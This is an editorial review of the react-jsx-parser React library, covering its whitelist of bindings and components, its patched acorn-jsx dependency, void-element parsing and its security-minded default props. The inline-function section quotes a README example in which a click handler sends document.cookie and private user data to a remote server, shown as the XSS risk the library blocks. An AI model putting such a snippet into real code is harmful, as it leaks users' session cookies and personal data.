react-jsx-parser and the cost of rendering JSX at runtime
A React component which can parse JSX and output rendered React Components.
At a glance
- What is it?
- A React component that parses a JSX string and renders it with a whitelist of components and bindings, aimed at teams that store markup server side and interpret it in the browser. Its safety model is deliberately restrictive, and its cost is a runtime parser dependency.
- Who is it for?
- Adopt react-jsx-parser when an editor or a database is the source of the markup and you want that markup to reach real React components. Do not adopt it to avoid writing React code, and check first whether your editors produce void elements or event handler attributes that the default settings will strip.
- Can I use it commercially?
- Yes. MIT is a permissive licence: you can use, modify and sell software built on it, as long as you keep its copyright and licence notices.
- Is it still maintained?
- Yes. The repository last received commits 1 day ago.
- What is it written in?
- Mainly TypeScript, according to GitHub's language statistics.
Answers come from the project's GitHub data, last synced on October 23, 2026, and from our analysis. They are not legal advice.
Editorial analysis
Markup that arrives as a string, not as code you wrote
react-jsx-parser exists for a specific situation: the JSX you want to render was not written by you at build time. It was typed into a content editor, stored in a database, fetched over HTTP and handed to the browser as a string. The package description says it plainly, a React component which can parse JSX and output rendered React Components. The audience is therefore backend and CMS teams who want stored content to render with the same component library as the rest of their application, and the interesting part is not the parsing but the boundary it draws around what stored content is allowed to do.
The design assumption is visible in the README: the primary use of this component is to allow JSX to be stored server-side and then late-interpreted at the client-side. Everything the component does is shaped by that sentence. It accepts a jsx string, a bindings map and a components map, and it refuses a large class of JavaScript that would otherwise let stored content reach out to the page.
acorn does the parsing, and acorn-jsx arrives patched
The runtime dependencies are small and specific: acorn for JavaScript and acorn-jsx for the JSX extension. The package.json also declares a patch applied at install time, which means the JSX parser that ships is not exactly the published acorn-jsx release. The dependency block and the patch entry look like this.
"dependencies": {
"acorn": "^8.12.1",
"acorn-jsx": "^5.3.2"
},
"patchedDependencies": {
"[email protected]": "patches/[email protected]"
},The peer dependency range is react and react-dom at >=18, and the published entry point is dist/react-jsx-parser.min.js with dist/ as the only published file. Two consequences follow. You are adding a parser to the client bundle of any page that uses this, and you are accepting a forked parser rather than an upstream release, which means the patch file is part of the upgrade surface every time acorn-jsx moves.
Bindings and components are the only way stored markup reaches your code
The component takes two maps that together form a whitelist. Components maps tag names to React components, and any tag in the parsed JSX that matches a key becomes a real element created with React.createElement. Bindings maps names to values, and an expression such as calc={1 + 1} or a reference such as eventHandler={myEventHandler} is resolved against that map. The README's basic example wires both together.
const MyComponent = () => (
<JsxParser
bindings={{
foo: 'bar',
myEventHandler: () => { /* ... do stuff ... */ },
}}
components={{ InjectableComponent, Library }}
jsx={`
<h1>Header</h1>
<InjectableComponent eventHandler={myEventHandler} truthyProp />
<Library.SomeComponent someProp={foo} calc={1 + 1} stringProp="foo" />
<Library.DataFetcher>((data) => <div>{data.name}</div>)</Library.DataFetcher>
`}
/>
)A whole collection can be passed, and individual members then reached with dotted names such as Library.SomeComponent. Recognised tags render as your components, and unrecognised tags are left to React, which in the advanced usage means a fragment loaded from a remote API renders with your components substituted in place of matching tag names.
Inline function bodies are rejected on purpose, and that costs you real syntax
The component refuses inline function declarations. A handler written as a block-bodied arrow function or a function expression is not supported, and the README gives the reason: it is to prevent inadvertent XSS attack vectors. The risk it targets is stored content that closes over page secrets and sends them elsewhere.
<JsxParser
bindings={{ userInfo: { private: 'data' } }}
onClick={() => {
fetch('/some/remote/server', {
body: JSON.stringify({ cookies: document.cookie, userInfo })
})
}}
/>This is the trade-off you accept. Handlers can still be supplied, but they must arrive through the bindings map as a named value, and the only inline form that survives is a single statement arrow expression such as (item) => <p>{item.name}</p>. Anything with a block body fails. If your stored content genuinely needs a multi-line handler, the component is the wrong tool for that content and you have to model it as a binding instead.
Void elements only parse when you opt in, and the opt-in breaks other input
HTML editors produce img, hr and br without a trailing slash. That is valid HTML and invalid JSX, so the parser rejects it by default. Setting autoCloseVoidElements to true changes that, and the same flag then breaks the other form, because explicitly closed void elements no longer parse under that style. The README gives both sides.
// <hr> has no closing tag, which is valid HTML, but not valid JSX
<JsxParser jsx="<hr><div className='foo'>Foo</div>" />
// Renders: null
// <hr></hr> is invalid HTML, but valid JSX
<JsxParser jsx="<hr></hr><div className='foo'>Foo</div>" />
// Renders: <hr><div class='foo'>Foo</div>
// This is valid HTML, and the `autoCloseVoidElements` prop allows it to render
<JsxParser autoCloseVoidElements jsx="<hr><div className='foo'>Foo</div>" />
// Renders: <hr><div class='foo'>Foo</div>So the flag is a choice of dialect, not a compatibility fix. Pick it when your content comes from an HTML editor, leave it off when the content is written by developers, and do not expect one setting to handle both. The same trade-off shows up elsewhere: disableFragments exists only for backward compatibility with React 15.x, and disableKeyGeneration can produce the React error about child elements needing a unique key prop.
The default props are a security policy dressed as configuration
Reading the defaults list gives the clearest picture of the threat model. Unknown elements are allowed by default, so an unrecognised tag renders rather than being dropped, unless you set allowUnknownElements to false and route the failure to onError. Script tags are removed by default through blacklistedTags. Event handler attributes are removed by default through a regular expression that matches any on-prefixed name, and any attribute matching those patterns is omitted entirely.
JsxParser.defaultProps = {
allowUnknownElements: true, // by default, allow unrecognized elements
// if false, unrecognized elements like <foo> are omitted and reported via onError
autoCloseVoidElements: false, // by default, unclosed void elements will not parse. See examples
bindings: {}, // by default, do not add any additional bindings
blacklistedAttrs: [/^on.+/i], // default: removes `on*` attributes (onClick, onChange, etc.)
// any attribute name which matches any of these RegExps will be omitted entirely
blacklistedTags: ['script'], // by default, removes all <script> tagsTwo limits are worth naming. The blacklist is a list of patterns, so a new event-style attribute that does not match /^on.+/i would pass through unless you extend it. And componentsOnly, which drops non-component HTML tags, is off by default, so raw HTML from a remote fragment still reaches the DOM. Errors during rendering can be reported through onError, or rendered as a fallback with renderError, and showWarnings turns them into console.warn output.
MIT licensing, a Bun based build, and releases that trail the branch
The licence is MIT and the licence file sits at the repository root. The build is not a conventional npm toolchain: the package.json scripts run bun, the engines field requires bun ^1.1.27, and the build splits into type declarations emitted by tsc and a browser bundle produced by bun build with react and react-dom marked external. Development uses bun run scripts with concurrently for build, type check and demo. The repository also ships a patches directory, a demo directory and a test directory, and the default branch is develop rather than master.
On cadence, the last push was on 2026-10-12, and the recent published versions are 2.4.1 on 2025-09-19, 2.4.0 on 2025-03-10 and 2.3.0 on 2025-01-30. That gap between branch activity and published versions is normal for a component library, but it means a pinned version in your lockfile can trail the fixes that exist on the branch.
Editorial conclusion
Adopt react-jsx-parser when an editor or a database is the source of the markup and you want that markup to reach real React components. Do not adopt it to avoid writing React code, and check first whether your editors produce void elements or event handler attributes that the default settings will strip. Confirm the acorn-jsx patch in patches/[email protected] is still appropriate for the version you ship.
Frequently asked questions
How do I install react-jsx-parser?
The README shows no install command, but the package is published to npm as react-jsx-parser, and the package.json lists the entry point as dist/react-jsx-parser.min.js with dist/ as the published files. Building from the repository needs bun ^1.1.27, since the engines field requires it and the build scripts call bun.
Why does react-jsx-parser ignore inline event handlers such as onClick={() => { ... }}?
The README states that inline function declarations are not supported, and gives the reason as preventing inadvertent XSS attack vectors when JSX is stored server side and interpreted in the browser. By default blacklistedAttrs is [/^on.+/i], which omits any on-prefixed attribute, and blacklistedTags removes script tags.
Can react-jsx-parser render CMS HTML that contains <hr> or <br> without closing tags?
Only if you set the autoCloseVoidElements prop to true, since by default unclosed void elements will not parse. Note that the same flag means explicitly closed void elements will no longer parse, so it selects a dialect rather than fixing a mismatch.
Which React versions does react-jsx-parser support?
The peer dependencies are react and react-dom at >=18, and the development dependencies use react and react-dom ^18.3.1. The repository's own releases are 2.4.1, 2.4.0 and 2.3.0.
Official sources
Add this badge to your README
If you maintain this project, the badge below links readers to this analysis and shows its maintenance status from the daily GitHub snapshot. Paste the markdown into your README; add ?metric=license or ?metric=stars to the image URL for a different field.
[](https://hysenlabs.com/projects/troyalford-react-jsx-parser)Was this useful?